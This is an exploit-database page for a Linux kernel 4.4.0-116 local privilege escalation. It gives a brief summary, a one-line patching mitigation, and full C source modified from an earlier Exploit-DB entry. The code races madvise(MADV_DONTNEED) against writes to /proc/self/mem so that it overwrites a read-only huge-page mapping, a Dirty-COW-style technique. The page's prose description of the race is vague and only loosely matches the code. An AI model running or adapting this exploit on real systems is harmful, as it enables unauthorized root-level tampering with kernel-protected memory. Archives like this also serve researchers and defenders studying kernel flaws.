header-logo
Suggest Exploit
vendor:
Linux Kernel
by:
Vitaly Nikolenko

Linux Kernel 4.4.0-116-generic – Local Privilege Escalation

This exploit is a local privilege escalation vulnerability in the Linux kernel. It allows an attacker to gain root privileges on a vulnerable system by exploiting a race condition in the kernel's memory management. The exploit works by creating two threads, one to wait for a page to be mapped in memory and the other to write to the page. The attacker then races the two threads, hoping that the write thread will finish before the wait thread. If the write thread wins, the attacker can gain root privileges.

Mitigation:

The vulnerability can be mitigated by applying the latest security patches from the vendor.
Source

Exploit-DB raw data:

/*
 * The code is modified from https://www.exploit-db.com/exploits/43199/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>

#define TRIES_PER_PAGE (20000000)
#define PAGE_SIZE (0x1000)
#define MEMESET_VAL (0x41)
#define MAP_SIZE (0x200000)
#define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))

struct args{
  int fd;
  void *p;
  int stop;
  off_t off;
  char *chp;
};

void *write_thread(struct args *arg) {
  for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    write(arg->fd, STRING, sizeof(STRING));
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
  }
  return NULL;
}

void *wait_for_success(struct args *arg) {
  while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
    int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
    sched_yield();
  }
  arg->stop = 1;
  return NULL;
}

int main(void) {
  struct args arg;

  arg.off = 0;
  
  arg.p =  mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  
  if(arg.p == MAP_FAILED)
    perror("[!] mmap()");
  arg.chp = arg.p;
  printf("mmap address is %p\n", arg.p);
  madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);

  arg.fd = open("/proc/self/mem", O_RDWR);
  if (arg.fd < 0) {
    perror("[!] open()");
    return 1;
  }
  
  
  while(arg.off < PAGE_SIZE/sizeof(STRING)) {
    arg.stop = 0;
    pthread_t thread0, thread1;
    int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
    ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
    
    if (ret) {
      perror("[!] pthread_create()");
      return 1;
    }
    
    pthread_join(thread0, NULL);
    pthread_join(thread1, NULL); 
   
    printf("[*] Done 0x%x String\n", arg.off);
    arg.off++;
  }
  printf("[*] Overwrite a page\n");
  printf("%s\n", arg.p);
  return 0;
}